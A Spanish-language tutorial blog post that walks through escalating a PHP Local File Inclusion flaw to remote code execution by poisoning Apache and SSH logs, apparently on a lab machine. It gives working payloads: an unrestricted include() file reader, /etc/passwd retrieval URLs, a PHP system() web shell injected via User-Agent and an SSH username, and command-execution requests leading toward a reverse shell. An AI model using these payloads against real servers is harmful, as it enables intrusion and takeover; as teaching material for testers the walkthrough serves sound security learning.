En este post veremos cómo aprovechar un archivo php que nos permite LFI para conseguir RCE a través de envenenamiento de logs o más conocido como Log Poisoning.
Si no sabes qué es LFI (Local File Inclusion) te recomiendo que leas antes mi post: LFI Cheat Sheet
Poisoning Apache Logs
Para poder usar esta técnica necesitaremos LFI en el objetivo, es decir poder acceder a archivos del sistema.
En este caso tenemos una web que esta pensada para poder leer ciertos archivos.
En este caso, no existe ninguna restricción así que podremos acceder a cualquier archivo del sistema.
El segundo paso sera identificar el sistema operativo del objetivo o manualmente encotrar el archivo access log de Apache.
- RHEL / Red Hat / CentOS / Fedora Linux Apache access file location – /var/log/httpd/access_log
- FreeBSD Apache access log file location – /var/log/httpd-access.log
- Debian / Ubuntu Linux Apache access log file location – /var/log/apache2/access.log
En este caso el objetivo era un FreeBSD luego el archivo que nos interesa es /var/log/httpd-access.log
Además el archivo que nos permite el LFI (browse.php) no tiene ninguna restricción y nos podemos acceder a todos los archivos del sistema, su código es:
<?php include($_GET['file']); ?>
Tal y como vemos en el gif, la web nos permite ver archivos sensibles del sistema:
http://ironpoison.com/browse.php?file=/etc/passwd
http://ironpoison.com/browse.php?file=/var/log/httpd-access.log
Utilizando BurpSuite interceptamos una request:
Utilizamos ‘Send to Repiter’ para poder editar la petición. El siguiente paso es hacer la petición a
/browse.php?file=/var/log/httpd-access.log
Cambiamos el User-Agent:
Añadiendo en el lugar del recuadro:
<?php system($_GET['cmd']); ?>
El siguente paso sera hacer la request añadiendo al final de esta
&cmd=[COMANDO] y quedaria tal que asi, por ejemplo:
http://ironpoison.com/browse.php?file=/var/log/httpd-access.log&cmd=id
Cómo vemos en la imagen podemos ejecutar comandos. Vamos a intentar conseguir shell reversa. Utilizaremos por ejemplo la shell de Netcat, podéis ver todas las shell reversas que podemos usar (a veces una no funciona pero otras si) en: Shells Reversas
Tal y como se ve en el gif lo único que hay que hacer es iniciar una escucha en el puerto que queramos y ejecutar la request con la shell reversa como comando, recordad codificar la petición (url encode) que con la utilidad ‘convert’ de Burpsuite lo hacemos fácilmente. ‘Go’ y ya tenemos shell.
Poisoning SSH Logs
Esta técnica es casi igual a la anterior, pero utilizando el archivo logs del SSH en vez del de apache.
/var/log/auth.log
Si intentamos acceder al ssh, se reflejara el intento en dicho archivo:
Ahora vamos a intentar acceder al SSH con el siguiente user:
ssh '<?php system($_GET['cmd']); ?>'@10.10.10.84
Ahora podremos ejecutar comandos con peticiones del tipo:
http://ironpoison.com/browser.php?file=/var/log/auth.log&cmd=id
El siguiente paso, como antes sera sacar shell reversa:
Para el envenenamiento en ssh tambien se debe de modificar el user-agent para conseguir la shell inversa o ya no es necesario